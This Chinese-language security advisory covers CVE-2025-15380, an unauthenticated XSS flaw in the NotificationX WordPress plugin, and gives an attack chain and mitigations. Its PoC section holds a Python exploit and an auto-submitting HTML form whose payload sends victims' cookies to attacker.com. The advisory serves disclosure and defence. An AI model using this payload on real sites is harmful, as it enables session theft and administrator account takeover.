IPBUF安全漏洞报告
English
CVE-2025-15380 CVSS 7.2 高危

CVE-2025-15380 NotificationX插件DOM型XSS漏洞

披露日期: 2026-01-20

漏洞信息

漏洞编号
CVE-2025-15380
漏洞类型
DOM型跨站脚本攻击(XSS)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
NotificationX WordPress插件

相关标签

DOM型XSS跨站脚本攻击WordPress插件漏洞NotificationXCVE-2025-15380无需认证高危漏洞WooCommerce社交证明FOMO通知

漏洞概述

CVE-2025-15380是WordPress NotificationX插件中的一个高危安全漏洞,该插件是一款用于展示FOMO(恐惧错过)通知、实时销售通知、WooCommerce销售弹窗、GDPR合规、社交证明、公告横幅和浮动通知栏的流行营销工具。漏洞存在于插件的预览功能中,由于对nx-preview POST参数的处理不当,导致未经身份验证的攻击者可以注入任意Web脚本。当用户访问攻击者精心构造的恶意页面时,页面会自动提交包含恶意脚本的表单到目标站点,从而在受害者浏览器中执行任意JavaScript代码。此漏洞的CVSS评分为7.2,属于高危级别,且由于无需认证和无需用户交互即可实施攻击,因此具有较高的实际威胁性。攻击者可以利用此漏洞窃取用户会话信息、劫持用户账户、进行钓鱼攻击或传播恶意内容,对使用该插件的WordPress网站构成严重安全风险。

技术细节

该漏洞的根本原因在于NotificationX插件在处理预览数据时缺乏充分的输入清理和输出转义。具体来说,插件的预览功能通过nx-preview POST参数接收用户输入的数据,但未能对特殊字符进行适当的HTML转义处理。当预览数据被动态插入到DOM中时,攻击者可以注入包含JavaScript代码的恶意载荷。在DOM型XSS攻击中,攻击载荷在客户端被JavaScript动态修改DOM结构时执行,而非像传统反射型或存储型XSS那样需要服务器端存储恶意代码。攻击者可以构造一个自动提交表单的恶意页面,当受害者访问该页面时,浏览器会自动向目标站点的插件预览端点发送POST请求,请求中包含base64编码或直接注入的恶意脚本。由于预览功能通常在管理员访问后台或前端页面时触发,攻击者可以利用此漏洞窃取管理员Cookie或执行管理员操作。攻击成功的前提是目标站点安装了受影响版本的NotificationX插件,且攻击者能够诱导用户访问恶意页面。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站是否使用NotificationX插件及其版本,通过Wappalyzer、BuiltWith等工具或直接查看页面源代码确认插件存在
STEP 2
步骤2: 构造恶意页面
攻击者创建包含自动提交表单的恶意HTML页面,表单目标指向目标站点的NotificationX预览AJAX端点,POST参数中包含编码或直接的XSS载荷
STEP 3
步骤3: 分发钓鱼链接
攻击者通过邮件、社交媒体、即时通讯等渠道诱导目标网站用户访问恶意页面,利用社会工程学技术提高点击率
STEP 4
步骤4: 自动提交利用
当受害者访问恶意页面时,JavaScript自动触发表单提交,浏览器向目标站点发送包含恶意脚本的POST请求到/wp-admin/admin-ajax.php
STEP 5
步骤5: XSS执行
NotificationX插件的预览功能将nx-preview参数内容直接插入DOM而不进行适当转义,恶意JavaScript在受害者浏览器中执行
STEP 6
步骤6: 窃取敏感数据
攻击者通过执行的JavaScript窃取用户Cookie、会话令牌或其他敏感信息,并将数据发送到攻击者控制的服务器
STEP 7
步骤7: 账户劫持
攻击者利用窃取的会话信息伪造管理员身份登录WordPress后台,执行进一步的攻击操作如安装后门、篡改内容或窃取数据库

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import base64 # CVE-2025-15380 PoC - NotificationX DOM-based XSS # Target URL with vulnerable NotificationX plugin target_url = "http://target-site.com/wp-admin/admin-ajax.php" # Malicious JavaScript payload malicious_script = "<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>" # Encode the payload for nx-preview parameter encoded_payload = base64.b64encode(malicious_script.encode()).decode() # Prepare the exploit request data = { 'action': 'notificationx_preview', 'nx-preview': encoded_payload, 'nonce': 'attacker_controlled' # May not be required for all configurations } # Alternative: Direct injection without encoding direct_payload = malicious_script # Auto-submit form HTML for social engineering html_form = f''' <html> <body> <form id="exploitForm" action="{target_url}" method="POST"> <input type="hidden" name="action" value="notificationx_preview"> <input type="hidden" name="nx-preview" value="{direct_payload}"> </form> <script> // Auto-submit form when page loads document.getElementById('exploitForm').submit(); </script> </body> </html> ''' # Send the exploit request response = requests.post(target_url, data=data, allow_redirects=False) print(f"Status: {{response.status_code}}") print(f"Response: {{response.text[:500]}}") # Save the HTML form for deployment with open('exploit.html', 'w') as f: f.write(html_form) print("Exploit HTML saved to exploit.html")

影响范围

NotificationX插件所有版本 <= 3.2.0

防御指南

临时缓解措施
如果无法立即升级插件,可通过以下方式临时缓解:1) 在Web应用防火墙(WAF)中设置规则,拦截包含nx-preview参数的异常POST请求;2) 临时禁用NotificationX插件的预览功能;3) 在主题的functions.php中添加临时过滤器,对nx-preview参数进行清理和转义;4) 使用.htaccess或Nginx配置限制对/admin-ajax.php的访问频率;5) 监控服务器日志关注异常的AJAX请求模式。但这些措施仅为临时解决方案,尽快升级到插件最新版本才是根本解决办法。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表